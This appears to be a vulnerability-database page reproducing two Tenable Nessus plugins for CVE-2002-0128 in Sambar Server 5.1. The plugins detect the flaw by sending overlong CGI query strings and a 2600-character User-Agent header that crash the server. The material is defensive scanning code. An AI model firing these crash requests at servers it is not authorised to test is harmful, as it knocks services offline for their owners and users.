Vulnerabilities > CVE-2002-0128 - Unspecified vulnerability in Sambar Server 5.1

#
# (C) Tenable Network Security, Inc.
#

# References:
# From: "Tamer Sahin" <[email protected]>
# To: [email protected]
# Subject: Sambar Webserver v5.1 DoS Vulnerability
# Date: Wed, 16 Jan 2002 01:57:17 +0200
# Affiliation: http://www.securityoffice.net
#
# Vulnerables:
# Sambar WebServer v5.1 
# NB: this version of Sambar is also vulnerable to a too long HTTP field.
#


include("compat.inc");

if(description)
{
 script_id(11131);
 script_version ("1.25");

 script_cve_id("CVE-2002-0128");
 script_bugtraq_id(3885);

 script_name(english:"Sambar Server Multiple CGI Remote Overflow");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is vulnerable to a denial of service." );
 script_set_attribute(attribute:"description", value:
"It is possible to kill the Sambar web server 'server.exe' by sending it
a long request like:
	/cgi-win/testcgi.exe?XXXX...X
	/cgi-win/cgitest.exe?XXXX...X
	/cgi-win/Pbcgi.exe?XXXXX...X
(or maybe in /cgi-bin/)

An attacker may use this flaw to cause the server to crash continuously." );
 script_set_attribute(attribute:"solution", value:
"Upgrade the server to Sambar 51p or delete those CGI." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2002/09/21");
 script_set_attribute(attribute:"vuln_publication_date", value: "2002/01/16");
 script_cvs_date("Date: 2018/07/27 18:38:14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();

 script_summary(english:"Crashes Sambar web server");
 script_category(ACT_DENIAL);
 
 script_copyright("This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencies("find_service1.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_require_keys("www/sambar", "Settings/ParanoidReport");
 exit(0);
}

# The script code starts here
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

# The advisories are not clear: is this cgitest.exe or testcgi.exe?
# Is it in cgi-bin or cgi-win?
dir[0] = "";		# Keep it here or change code below
dir[1] = "/cgi-bin/";
dir[2] = "/cgi-win/";

fil[0] = "cgitest.exe";
fil[1] = "testcgi.exe";
fil[2] = "Pbcgi.exe";

port = get_http_port(default:80);

banner = get_http_banner(port: port);
if (! banner || ! egrep(string: banner, pattern: "^Server:.*SAMBAR")) exit(0);


if (http_is_dead(port:port)) exit(0);

# TBD: request each URL a few times...
function test_port(port, cgi)
{
 local_var r, req, soc;
 r = http_send_recv3(method: "GET", port: port, item: strcat(cgi, "?", crap(4096)));
 if (isnull(r)) return 1;
 return(0);
}

for (c=0; c<3; c=c+1) {
 # WARNING! Next loop start at 1, not 0 !
 for (d=1; d<3; d=d+1) {
  if (test_port(port: port, cgi: string(dir[d], fil[c]))) break;
 }
}

if (http_is_dead(port:port, retry: 3)) security_warning(port);

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10040);
 script_version("1.44");
 script_cvs_date("Date: 2018/11/15 20:50:16");

 script_cve_id("CVE-2002-0128");
 script_bugtraq_id(3885);

 script_name(english:"Sambar Server cgitest.exe Remote Overflow");
 script_summary(english:"Checks for the /cgi-bin/cgitest.exe buffer overrun");

 script_set_attribute(attribute:"synopsis", value:
"The web application installed on the remote host has a buffer overflow
vulnerability.");
 script_set_attribute(attribute:"description", value:
"The remote host is running a vulnerable version of Sambar Server, a
web server and web proxy.

There is a remote buffer overflow vulnerability in 'cgitest.exe'. A
remote attacker could use this to crash the web server, or potentially
execute arbitrary code.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2002/Jan/188");
 script_set_attribute(attribute:"solution", value:"Remove the affected file from /cgi-bin.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:W/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"vuln_publication_date", value:"2002/01/16");
 script_set_attribute(attribute:"plugin_publication_date", value:"1999/11/18");

 script_set_attribute(attribute:"potential_vulnerability", value:"true");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_DENIAL);
 script_family(english:"CGI abuses");

 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");

 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_keys("Settings/ParanoidReport");
 script_require_ports("Services/www", 80);

 exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);

port = get_http_port(default:80);

if (http_is_dead(port: port)) exit(1, "The web server on port "+port+" is dead.");

flag = 0;
directory = "";

foreach dir (cgi_dirs())
{
 if (is_cgi_installed3(item:string(dir, "/cgitest.exe"), port:port, exit_on_fail: 1))
 {
  flag = 1;
  directory = dir;
  break;
 }
}

if(!flag)exit(0, "cgitest.exe was not found on port "+port+".");
data = string(directory, "/cgitest.exe");
user_agent = make_array("User-Agent", crap(2600));
r = http_send_recv3(method:"GET", item:data, port:port, add_headers:user_agent, exit_on_fail: 0);
if (isnull(r)) security_hole(port);